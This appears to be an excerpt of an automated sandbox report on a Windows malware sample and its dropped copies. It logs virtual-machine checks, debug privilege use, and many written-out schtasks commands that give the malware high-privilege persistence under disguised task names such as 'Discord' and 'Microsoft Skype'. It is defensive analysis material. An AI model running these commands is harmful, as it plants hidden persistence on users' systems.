                    Source: C:\Users\user\Desktop\CVmkXJ7e0a.exeThread delayed: delay time: 599672Jump to behavior
                    Source: C:\Users\user\AppData\Roaming\xdwdpnsvr.exeThread delayed: delay time: 922337203685477Jump to behavior
                    Source: C:\Users\Public\Pictures\xdwdUpdate.exeThread delayed: delay time: 922337203685477
                    Source: C:\Users\user\AppData\Roaming\xdwdpnsvr.exeThread delayed: delay time: 922337203685477
                    Source: C:\Users\Public\Pictures\xdwdUpdate.exeThread delayed: delay time: 922337203685477
                    Source: C:\Users\user\AppData\Roaming\xdwdpnsvr.exeThread delayed: delay time: 922337203685477
                    Source: C:\Users\Public\Pictures\xdwdUpdate.exeThread delayed: delay time: 922337203685477
                    Source: C:\Users\user\AppData\Roaming\xdwdpnsvr.exeFile opened: C:\Users\userJump to behavior
                    Source: C:\Users\user\AppData\Roaming\xdwdpnsvr.exeFile opened: C:\Users\user\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\desktop.iniJump to behavior
                    Source: C:\Users\user\AppData\Roaming\xdwdpnsvr.exeFile opened: C:\Users\user\AppData\Roaming\Microsoft\Internet ExplorerJump to behavior
                    Source: C:\Users\user\AppData\Roaming\xdwdpnsvr.exeFile opened: C:\Users\user\AppData\Roaming\MicrosoftJump to behavior
                    Source: C:\Users\user\AppData\Roaming\xdwdpnsvr.exeFile opened: C:\Users\user\AppDataJump to behavior
                    Source: C:\Users\user\AppData\Roaming\xdwdpnsvr.exeFile opened: C:\Users\user\AppData\RoamingJump to behavior
                    Source: CVmkXJ7e0a.exe, 00000000.00000002.3664308331.0000000002C6D000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: $Hyper-V Hypervisor Logical Processor
                    Source: CVmkXJ7e0a.exe, 00000000.00000002.3679976357.000000001B878000.00000004.00000020.00020000.00000000.sdmp, CVmkXJ7e0a.exe, 00000000.00000002.3661503274.0000000000DC9000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: Hyper-V Dynamic Memory Integration Service
                    Source: CVmkXJ7e0a.exe, 00000000.00000002.3661503274.0000000000D42000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: Hyper-V Virtual Machine Bus Pipes
                    Source: CVmkXJ7e0a.exe, 00000000.00000002.3679976357.000000001B81C000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: Hyper-V Virtual Machine Bus?
                    Source: CVmkXJ7e0a.exe, 00000000.00000002.3686036234.000000001E0DE000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: THyper-V Hypervisor Root Virtual Processor
                    Source: CVmkXJ7e0a.exe, 00000000.00000002.3664308331.0000000002C6D000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: !Hyper-V Virtual Machine Bus Pipes
                    Source: CVmkXJ7e0a.exe, 00000000.00000002.3679976357.000000001B878000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll0
                    Source: CVmkXJ7e0a.exe, 00000000.00000002.3683115460.000000001BF05000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: sWDHyper-V Hypervisor Root Partition
                    Source: CVmkXJ7e0a.exe, 00000000.00000002.3664308331.0000000002C6D000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: *Hyper-V Dynamic Memory Integration Service
                    Source: CVmkXJ7e0a.exe, 00000000.00000002.3683115460.000000001BF05000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: AlDHyper-V Virtual Machine Bus PipesundT
                    Source: CVmkXJ7e0a.exe, 00000000.00000002.3686036234.000000001E0FB000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: &Hyper-V Hypervisor
                    Source: CVmkXJ7e0a.exe, 00000000.00000002.3681814321.000000001BD79000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: Hyper-V Dynamic Memory Integration ServiceC\[
                    Source: CVmkXJ7e0a.exe, 00000000.00000002.3664308331.0000000002C6D000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Hyper-V Hypervisor
                    Source: CVmkXJ7e0a.exe, 00000000.00000002.3683115460.000000001BF05000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: JHyper-V Hypervisor Logical ProcessorP/
                    Source: CVmkXJ7e0a.exe, 00000000.00000002.3664308331.0000000002C6D000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: !Hyper-V Hypervisor Root Partition
                    Source: CVmkXJ7e0a.exe, 00000000.00000002.3683115460.000000001BF05000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: X2Hyper-V VM Vid PartitionN
                    Source: CVmkXJ7e0a.exe, 00000000.00000002.3664308331.0000000002C6D000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: )Hyper-V Hypervisor Root Virtual Processor
                    Source: CVmkXJ7e0a.exe, 00000000.00000002.3664308331.0000000002C6D000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Hyper-V VM Vid Partition
                    Source: CVmkXJ7e0a.exe, 00000000.00000002.3686036234.000000001E0DE000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: VHyper-V Dynamic Memory Integration ServiceA.B
                    Source: CVmkXJ7e0a.exe, 00000000.00000002.3686036234.000000001E0DE000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: DHyper-V Virtual Machine Bus Pipes^7F
                    Source: CVmkXJ7e0a.exe, 00000000.00000002.3661503274.0000000000DC9000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: DHyper-V Virtual Machine Bus Pipesn
                    Source: C:\Users\user\Desktop\CVmkXJ7e0a.exeProcess information queried: ProcessInformationJump to behavior
                    Source: C:\Users\user\Desktop\CVmkXJ7e0a.exeProcess token adjusted: DebugJump to behavior
                    Source: C:\Users\user\AppData\Roaming\xdwdpnsvr.exeProcess token adjusted: DebugJump to behavior
                    Source: C:\Users\Public\Pictures\xdwdUpdate.exeProcess token adjusted: Debug
                    Source: C:\Users\Public\Pictures\xdwdUpdate.exeProcess token adjusted: Debug
                    Source: C:\Users\Public\Pictures\xdwdUpdate.exeProcess token adjusted: Debug
                    Source: C:\Users\user\Desktop\CVmkXJ7e0a.exeMemory allocated: page read and write | page guardJump to behavior
                    Source: C:\Users\user\Desktop\CVmkXJ7e0a.exeProcess created: C:\Windows\System32\cmd.exe "CMD" /C SchTaSKs /CrEAte /F /sc OnLoGoN /rl HighEst /tn "Microsoft Skype" /tr "C:\Users\Public\Pictures\xdwdUpdate.exe" & exitJump to behavior
                    Source: C:\Users\user\Desktop\CVmkXJ7e0a.exeProcess created: C:\Windows\System32\cmd.exe "CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "Discord" /tr "C:\Users\Public\Pictures\xdwdUpdate.exe" /RL HIGHEST & exitJump to behavior
                    Source: C:\Users\user\Desktop\CVmkXJ7e0a.exeProcess created: C:\Windows\System32\cmd.exe "CMD" /c SchTaSKs /create /f /sc minute /mo 5 /tn "Microsoft Access Update" /tr "C:\Users\user\AppData\Roaming\xdwdpnsvr.exe" /RL HIGHEST & exitJump to behavior
                    Source: C:\Users\user\Desktop\CVmkXJ7e0a.exeProcess created: C:\Windows\System32\cmd.exe "CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "Discord" /tr "C:\Users\Public\Pictures\xdwdUpdate.exe" /RL HIGHEST & exitJump to behavior
                    Source: C:\Users\user\Desktop\CVmkXJ7e0a.exeProcess created: C:\Windows\System32\cmd.exe "CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "Discord" /tr "C:\Users\Public\Pictures\xdwdUpdate.exe" /RL HIGHEST & exitJump to behavior
                    Source: C:\Users\user\Desktop\CVmkXJ7e0a.exeProcess created: C:\Windows\System32\cmd.exe "CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "Discord" /tr "C:\Users\Public\Pictures\xdwdUpdate.exe" /RL HIGHEST & exitJump to behavior
                    Source: C:\Users\user\Desktop\CVmkXJ7e0a.exeProcess created: C:\Windows\System32\cmd.exe "CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "Discord" /tr "C:\Users\Public\Pictures\xdwdUpdate.exe" /RL HIGHEST & exitJump to behavior
                    Source: C:\Users\user\Desktop\CVmkXJ7e0a.exeProcess created: C:\Windows\System32\cmd.exe "CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "Discord" /tr "C:\Users\Public\Pictures\xdwdUpdate.exe" /RL HIGHEST & exitJump to behavior
                    Source: C:\Users\user\Desktop\CVmkXJ7e0a.exeProcess created: C:\Windows\System32\cmd.exe "CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "Discord" /tr "C:\Users\Public\Pictures\xdwdUpdate.exe" /RL HIGHEST & exitJump to behavior
                    Source: C:\Users\user\Desktop\CVmkXJ7e0a.exeProcess created: C:\Windows\System32\cmd.exe "CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "Discord" /tr "C:\Users\Public\Pictures\xdwdUpdate.exe" /RL HIGHEST & exitJump to behavior
                    Source: C:\Users\user\Desktop\CVmkXJ7e0a.exeProcess created: C:\Windows\System32\cmd.exe "CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "Discord" /tr "C:\Users\Public\Pictures\xdwdUpdate.exe" /RL HIGHEST & exitJump to behavior
                    Source: C:\Users\user\Desktop\CVmkXJ7e0a.exeProcess created: C:\Windows\System32\cmd.exe "CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "Discord" /tr "C:\Users\Public\Pictures\xdwdUpdate.exe" /RL HIGHEST & exitJump to behavior
                    Source: C:\Users\user\Desktop\CVmkXJ7e0a.exeProcess created: C:\Windows\System32\cmd.exe "CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "Discord" /tr "C:\Users\Public\Pictures\xdwdUpdate.exe" /RL HIGHEST & exitJump to behavior
                    Source: C:\Users\user\Desktop\CVmkXJ7e0a.exeProcess created: C:\Windows\System32\cmd.exe "CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "Discord" /tr "C:\Users\Public\Pictures\xdwdUpdate.exe" /RL HIGHEST & exitJump to behavior
                    Source: C:\Users\user\Desktop\CVmkXJ7e0a.exeProcess created: C:\Windows\System32\cmd.exe "CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "Discord" /tr "C:\Users\Public\Pictures\xdwdUpdate.exe" /RL HIGHEST & exitJump to behavior
                    Source: C:\Users\user\Desktop\CVmkXJ7e0a.exeProcess created: C:\Windows\System32\cmd.exe "CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "Discord" /tr "C:\Users\Public\Pictures\xdwdUpdate.exe" /RL HIGHEST & exitJump to behavior
                    Source: C:\Users\user\Desktop\CVmkXJ7e0a.exeProcess created: C:\Windows\System32\cmd.exe "CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "Discord" /tr "C:\Users\Public\Pictures\xdwdUpdate.exe" /RL HIGHEST & exitJump to behavior
                    Source: C:\Users\user\Desktop\CVmkXJ7e0a.exeProcess created: C:\Windows\System32\cmd.exe "CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "Discord" /tr "C:\Users\Public\Pictures\xdwdUpdate.exe" /RL HIGHEST & exitJump to behavior
                    Source: C:\Users\user\Desktop\CVmkXJ7e0a.exeProcess created: C:\Windows\System32\cmd.exe "CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "Discord" /tr "C:\Users\Public\Pictures\xdwdUpdate.exe" /RL HIGHEST & exitJump to behavior
                    Source: C:\Users\user\Desktop\CVmkXJ7e0a.exeProcess created: C:\Windows\System32\cmd.exe "CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "Discord" /tr "C:\Users\Public\Pictures\xdwdUpdate.exe" /RL HIGHEST & exitJump to behavior
                    Source: C:\Users\user\Desktop\CVmkXJ7e0a.exeProcess created: C:\Windows\System32\cmd.exe "CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "Discord" /tr "C:\Users\Public\Pictures\xdwdUpdate.exe" /RL HIGHEST & exitJump to behavior
                    Source: C:\Users\user\Desktop\CVmkXJ7e0a.exeProcess created: unknown unknownJump to behavior
                    Source: C:\Users\user\Desktop\CVmkXJ7e0a.exeProcess created: unknown unknownJump to behavior
                    Source: C:\Users\user\Desktop\CVmkXJ7e0a.exeProcess created: unknown unknownJump to behavior
                    Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\schtasks.exe SchTaSKs /CrEAte /F /sc OnLoGoN /rl HighEst /tn "Microsoft Skype" /tr "C:\Users\Public\Pictures\xdwdUpdate.exe" Jump to behavior
                    Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\schtasks.exe SchTaSKs /create /f /sc minute /mo -1 /tn "Discord" /tr "C:\Users\Public\Pictures\xdwdUpdate.exe" /RL HIGHEST Jump to behavior
                    Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\schtasks.exe SchTaSKs /create /f /sc minute /mo 5 /tn "Microsoft Access Update" /tr "C:\Users\user\AppData\Roaming\xdwdpnsvr.exe" /RL HIGHEST Jump to behavior
                    Source: C:\Users\user\AppData\Roaming\xdwdpnsvr.exeProcess created: C:\Windows\System32\cmd.exe "CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "Discord" /tr "C:\Users\Public\Pictures\xdwdUpdate.exe" /RL HIGHEST & exitJump to behavior
                    Source: C:\Users\user\AppData\Roaming\xdwdpnsvr.exeProcess created: C:\Users\Public\Pictures\xdwdUpdate.exe "C:\Users\Public\Pictures\xdwdUpdate.exe" Jump to behavior
                    Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\schtasks.exe SchTaSKs /create /f /sc minute /mo -1 /tn "Discord" /tr "C:\Users\Public\Pictures\xdwdUpdate.exe" /RL HIGHEST
                    Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\schtasks.exe SchTaSKs /create /f /sc minute /mo -1 /tn "Discord" /tr "C:\Users\Public\Pictures\xdwdUpdate.exe" /RL HIGHEST
                    Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\schtasks.exe SchTaSKs /create /f /sc minute /mo -1 /tn "Discord" /tr "C:\Users\Public\Pictures\xdwdUpdate.exe" /RL HIGHEST
                    Source: C:\Users\Public\Pictures\xdwdUpdate.exeProcess created: C:\Windows\System32\cmd.exe "CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "Discord" /tr "C:\Users\Public\Pictures\xdwdUpdate.exe" /RL HIGHEST & exit
                    Source: C:\Users\Public\Pictures\xdwdUpdate.exeProcess created: C:\Windows\System32\cmd.exe "CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "Discord" /tr "C:\Users\Public\Pictures\xdwdUpdate.exe" /RL HIGHEST & exit
                    Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\schtasks.exe SchTaSKs /create /f /sc minute /mo -1 /tn "Discord" /tr "C:\Users\Public\Pictures\xdwdUpdate.exe" /RL HIGHEST
                    Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\schtasks.exe SchTaSKs /create /f /sc minute /mo -1 /tn "Discord" /tr "C:\Users\Public\Pictures\xdwdUpdate.exe" /RL HIGHEST
                    Source: C:\Users\user\AppData\Roaming\xdwdpnsvr.exeProcess created: C:\Windows\System32\cmd.exe "CMD" /c scHTaSks /Run /I /TN "Microsoft Skype"
                    Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\schtasks.exe SchTaSKs /create /f /sc minute /mo -1 /tn "Discord" /tr "C:\Users\Public\Pictures\xdwdUpdate.exe" /RL HIGHEST
                    Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\schtasks.exe SchTaSKs /create /f /sc minute /mo -1 /tn "Discord" /tr "C:\Users\Public\Pictures\xdwdUpdate.exe" /RL HIGHEST
                    Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\schtasks.exe scHTaSks /Run /I /TN "Microsoft Skype"
                    Source: C:\Users\Public\Pictures\xdwdUpdate.exeProcess created: C:\Windows\System32\cmd.exe "CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "Discord" /tr "C:\Users\Public\Pictures\xdwdUpdate.exe" /RL HIGHEST & exit
                    Source: C:\Users\Public\Pictures\xdwdUpdate.exeProcess created: C:\Windows\System32\cmd.exe "CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "Discord" /tr "C:\Users\Public\Pictures\xdwdUpdate.exe" /RL HIGHEST & exit
                    Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\schtasks.exe SchTaSKs /create /f /sc minute /mo -1 /tn "Discord" /tr "C:\Users\Public\Pictures\xdwdUpdate.exe" /RL HIGHEST
                    Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\schtasks.exe SchTaSKs /create /f /sc minute /mo -1 /tn "Discord" /tr "C:\Users\Public\Pictures\xdwdUpdate.exe" /RL HIGHEST
                    Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\schtasks.exe SchTaSKs /create /f /sc minute /mo -1 /tn "Discord" /tr "C:\Users\Public\Pictures\xdwdUpdate.exe" /RL HIGHEST
                    Source: C:\Users\user\AppData\Roaming\xdwdpnsvr.exeProcess created: C:\Windows\System32\cmd.exe "CMD" /c scHTaSks /Run /I /TN "Microsoft Skype"
                    Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\schtasks.exe SchTaSKs /create /f /sc minute /mo -1 /tn "Discord" /tr "C:\Users\Public\Pictures\xdwdUpdate.exe" /RL HIGHEST
                    Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\schtasks.exe SchTaSKs /create /f /sc minute /mo -1 /tn "Discord" /tr "C:\Users\Public\Pictures\xdwdUpdate.exe" /RL HIGHEST
                    Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\schtasks.exe scHTaSks /Run /I /TN "Microsoft Skype"
                    Source: C:\Users\Public\Pictures\xdwdUpdate.exeProcess created: C:\Windows\System32\cmd.exe "CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "Discord" /tr "C:\Users\Public\Pictures\xdwdUpdate.exe" /RL HIGHEST & exit
                    Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\schtasks.exe SchTaSKs /create /f /sc minute /mo -1 /tn "Discord" /tr "C:\Users\Public\Pictures\xdwdUpdate.exe" /RL HIGHEST
                    Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\schtasks.exe SchTaSKs /create /f /sc minute /mo -1 /tn "Discord" /tr "C:\Users\Public\Pictures\xdwdUpdate.exe" /RL HIGHEST
                    Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\schtasks.exe SchTaSKs /create /f /sc minute /mo -1 /tn "Discord" /tr "C:\Users\Public\Pictures\xdwdUpdate.exe" /RL HIGHEST
                    Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\schtasks.exe SchTaSKs /create /f /sc minute /mo -1 /tn "Discord" /tr "C:\Users\Public\Pictures\xdwdUpdate.exe" /RL HIGHEST
                    Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\schtasks.exe SchTaSKs /create /f /sc minute /mo -1 /tn "Discord" /tr "C:\Users\Public\Pictures\xdwdUpdate.exe" /RL HIGHEST
                    Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\schtasks.exe SchTaSKs /create /f /sc minute /mo -1 /tn "Discord" /tr "C:\Users\Public\Pictures\xdwdUpdate.exe" /RL HIGHEST
                    Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\schtasks.exe SchTaSKs /create /f /sc minute /mo -1 /tn "Discord" /tr "C:\Users\Public\Pictures\xdwdUpdate.exe" /RL HIGHEST
                    Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\schtasks.exe SchTaSKs /create /f /sc minute /mo -1 /tn "Discord" /tr "C:\Users\Public\Pictures\xdwdUpdate.exe" /RL HIGHEST
                    Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\schtasks.exe SchTaSKs /create /f /sc minute /mo -1 /tn "Discord" /tr "C:\Users\Public\Pictures\xdwdUpdate.exe" /RL HIGHEST
                    Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\schtasks.exe SchTaSKs /create /f /sc minute /mo -1 /tn "Discord" /tr "C:\Users\Public\Pictures\xdwdUpdate.exe" /RL HIGHEST
                    Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\schtasks.exe SchTaSKs /create /f /sc minute /mo -1 /tn "Discord" /tr "C:\Users\Public\Pictures\xdwdUpdate.exe" /RL HIGHEST
                    Source: C:\Windows\System32\cmd.exeProcess created: unknown unknown
                    Source: CVmkXJ7e0a.exe, 00000000.00000002.3664308331.0000000002E82000.00000004.00000800.00020000.00000000.sdmp, CVmkXJ7e0a.exe, 00000000.00000002.3683115460.000000001BF05000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: Program Manager
                    Source: CVmkXJ7e0a.exe, 00000000.00000002.3687321386.000000001E300000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: RefreshStatus<@>Program Manager/9j/4AAQSkZJRgABAQEAYABgAAD/2wBDAAgGBgcGBQgHBwcJCQgKDBQNDAsLDBkSEw8UHRofHh0agJC4nICIsIxwcKDcpLDAxNDQ0Hyc5PTgyPC4zNDL
                    Source: CVmkXJ7e0a.exe, 00000000.00000002.3687321386.000000001E2BF000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: Program Manager<@>/9j/4AAQSkZJRgABAQEAYABgAAD/2wBDAAgGBgcGBQgHBwcJCQgKDBQNDAsLDBkSEw8UHRofHh0aHBwgJC4nICIsIxwcKDcpLDAxNDQ0Hyc5PTgyPC4zNDL/2wBDAQkJCQwLDBgNDRgyIRwhMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjL/wAARCAAyADIDASIAAhEBAxEB/8QAHwAAAQUBAQEBAQEAAAAAAAAAAAECAwQFBgcICQoL/8QAtRAAAgEDAwIEAwUFBAQAAAF9AQIDAAQRBRIhMUEGE1FhByJxFDKBkaEII0KxwRVS0fAkM2JyggkKFhcYGRolJicoKSo0NTY3ODk6Q0RFRkdISUpTVFVWV1hZWmNkZWZnaGlqc3R1dnd4eXqDhIWGh4iJipKTlJWWl5iZmqKjpKWmp6ipqrKztLW2t7i5usLDxMXGx8jJytLT1NXW19jZ2uHi4+Tl5ufo6erx8vP09fb3+Pn6/8QAHwEAAwEBAQEBAQEBAQAAAAAAAAECAwQFBgcICQoL/8QAtREAAgECBAQDBAcFBAQAAQJ3AAECAxEEBSExBhJBUQdhcRMiMoEIFEKRobHBCSMzUvAVYnLRChYkNOEl8RcYGRomJygpKjU2Nzg5OkNERUZHSElKU1RVVldYWVpjZGVmZ2hpanN0dXZ3eHl6goOEhYaHiImKkpOUlZaXmJmaoqOkpaanqKmqsrO0tba3uLm6wsPExcbHyMnK0tPU1dbX2Nna4uPk5ebn6Onq8vP09fb3+Pn6/9oADAMBAAIRAxEAPwCceaQP39uOOhbH8qqXALSMSVJ9V6GrUeHiV0t0KkcHcRnnFRTL85+QJ7A5r7PDtN/1/mz88xF4qz7+f6pGdKlZ86VsOtVJYQ3SuxK4qVSxgTL1qo4rXubdhzisuZdpqnBo9ejNNFbFFLRUnUelReSEGRcAn721uKibJ5JJPqTViF/3AUXWzGSIzjI5Pr/nmoWWuSjbW39fgfMYhuy/r9WVnFQbQ0irnGTirTrVcITMmM/eFdcWTTZbjsoCdr/P7GuKv8CZgOma7fZhuXI/GuFuzmVvqacZOzuerhF7xUoptFI9Q9W8q4wF8iAEemMn9aqEilBts82749MimE1x0b63X9fez5bEcrtZ/l+iRFI1UpnPrVqU8VnXB610pjoxK0t/LD/q3P481gzkliT3rSuD1rLm61Vz28NFIgopKKVzuPo/weAfDmlAgEfZk/lXlHxI4+IOoKOB5EfA/wBxaKK+IW57EtkcBKzea/zH7x71EWb+8fzoorVGZGxPqaltSfM/EUUVoi0aCgbRwOlFFFIs/9k=<@>27 %<@>35 %
                    Source: CVmkXJ7e0a.exe, 00000000.00000002.3687321386.000000001E300000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: Ping<@>53atus<@>Program Manager
                    Source: CVmkXJ7e0a.exe, 00000000.00000002.3683115460.000000001BF05000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: Program ManagerTcpi@
                    Source: CVmkXJ7e0a.exe, 00000000.00000002.3683115460.000000001BF05000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: Program ManagerTcpip_{AC25AD1E-4879-4C9B-BB59-E50724EBEC23}\Device\Tcpip_{60B2689F-C8F6-4D1B-8ED3-6BD4DA58F33E}\Device\Tcpip_{68C65ED0-D5FC-471F-BF0F-95C04D2E3B08}<
                    Source: CVmkXJ7e0a.exe, 00000000.00000002.3683115460.000000001BF05000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: Program ManagerTcpi`
                    Source: CVmkXJ7e0a.exe, 00000000.00000002.3683115460.000000001BF05000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: Program ManagerTcpi
                    Source: CVmkXJ7e0a.exe, 00000000.00000002.3687321386.000000001E300000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: 9oADAMBAAIRAPwCceaQP39uOOhbH8qqXALSMSVJ9V6GrUeHiV0t0KkcHcRnnFRTL85+QJ7A5r7PDtN/1/mz88xF4qz7+f6pGdKlZ86VsOtVJYQ3SuxK4qVSxgTL1qo4rXubdhzisuZdpqnBo9ejNNFbFFLRUnUelReSEGRcAn721uKibJ5JJPqTViF/3AUXWzGSIzjI5Pr/nmoWWuSjbW39fgfMYhuy/r9WVnFQbQ0irnGTirTrVcITMmM/eFdcWTTZbjsoCdr/P7GuKv8CZgOma7fZhuXI/GuFuzmVvqacZOzuerhF7xUoptFI9Q9W8q4wF8iAEemMn9aqEilBts82749MimE1x0b63X9fez5bEcrtZ/l+iRFI1UpnPrVqU8VnXB610pjox/LD/q3P481gzkliT3rSuD1r1Vz28NFIgopKKVzuPo/weAfDmlfZk/lXlHxI4+IOoKOB5EfA/wBxaKK+IW57EtkcBKzea/zH7x71EWb+8fzoorVGZGxPqaltSfM/EUUVoi0aCgbRwOlFFFIs/9k=27 %35 %Ping<@>53atus<@>Program Manager/9j/4AAQSkZJRgABAQEAYABgAAD/2wBDAAgGBgcGBQgHBwcJCQgKDBQNDAsLDBkSEw8UHRofHh0agJC4nICIsIxwcKDcpLDAxNDQ0Hyc5PTgyPC4zNDL
                    Source: CVmkXJ7e0a.exe, 00000000.00000002.3687321386.000000001E300000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: RefreshStatus<@>Program Manager
                    Source: CVmkXJ7e0a.exe, 00000000.00000002.3683115460.000000001BF05000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: Program ManagerTcpip_{AC25AD1E-4879-4C9B-BB59-E50724EBEC23}\Device\Tcpip_{60B2689F-C8F6-4D1B-8ED3-6BD4DA58F33E}\Device\Tcpip_{68C65ED0-D5FC-471F-BF0F-95C04D2E3B08}.
                    Source: C:\Users\user\Desktop\CVmkXJ7e0a.exeQueries volume information: C:\Users\user\Desktop\CVmkXJ7e0a.exe VolumeInformationJump to behavior
                    Source: C:\Users\user\Desktop\CVmkXJ7e0a.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.CSharp\v4.0_4.0.0.0__b03f5f7f11d50a3a\Microsoft.CSharp.dll VolumeInformationJump to behavior
                    Source: C:\Users\user\Desktop\CVmkXJ7e0a.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Dynamic\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Dynamic.dll VolumeInformationJump to behavior
                    Source: C:\Users\user\AppData\Roaming\xdwdpnsvr.exeQueries volume information: C:\Users\user\AppData\Roaming\xdwdpnsvr.exe VolumeInformationJump to behavior
                    Source: C:\Users\Public\Pictures\xdwdUpdate.exeQueries volume information: C:\Users\Public\Pictures\xdwdUpdate.exe VolumeInformation
                    Source: C:\Users\user\AppData\Roaming\xdwdpnsvr.exeQueries volume information: C:\Users\user\AppData\Roaming\xdwdpnsvr.exe VolumeInformation
                    Source: C:\Users\Public\Pictures\xdwdUpdate.exeQueries volume information: C:\Users\Public\Pictures\xdwdUpdate.exe VolumeInformation
                    Source: C:\Users\user\AppData\Roaming\xdwdpnsvr.exeQueries volume information: C:\Users\user\AppData\Roaming\xdwdpnsvr.exe VolumeInformation
                    Source: C:\Users\Public\Pictures\xdwdUpdate.exeQueries volume information: C:\Users\Public\Pictures\xdwdUpdate.exe VolumeInformation
                    Source: C:\Users\user\Desktop\CVmkXJ7e0a.exeKey value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuidJump to behavior
                    Source: xdwdpnsvr.exe, 0000000F.00000002.2743368284.0000000000F5E000.00000004.00000020.00020000.00000000.sdmp, xdwdUpdate.exe, 00000019.00000002.2820275048.0000000000CDA000.00000004.00000020.00020000.00000000.sdmp, xdwdpnsvr.exe, 00000020.00000002.2805163377.0000000000689000.00000004.00000020.00020000.00000000.sdmp, xdwdUpdate.exe, 0000002A.00000002.2902650437.000000001BFBE000.00000004.00000020.00020000.00000000.sdmp, xdwdUpdate.exe, 0000002A.00000002.2894208696.0000000001521000.00000004.00000020.00020000.00000000.sdmp, xdwdUpdate.exe, 0000002A.00000002.2902539963.000000001BFA0000.00000004.00000020.00020000.00000000.sdmp, xdwdpnsvr.exe, 00000034.00000002.2884981533.000000000092F000.00000004.00000020.00020000.00000000.sdmp, xdwdUpdate.exe, 0000003E.00000002.2913050381.0000000000B29000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: %ProgramFiles%\Windows Defender\MsMpeng.exe
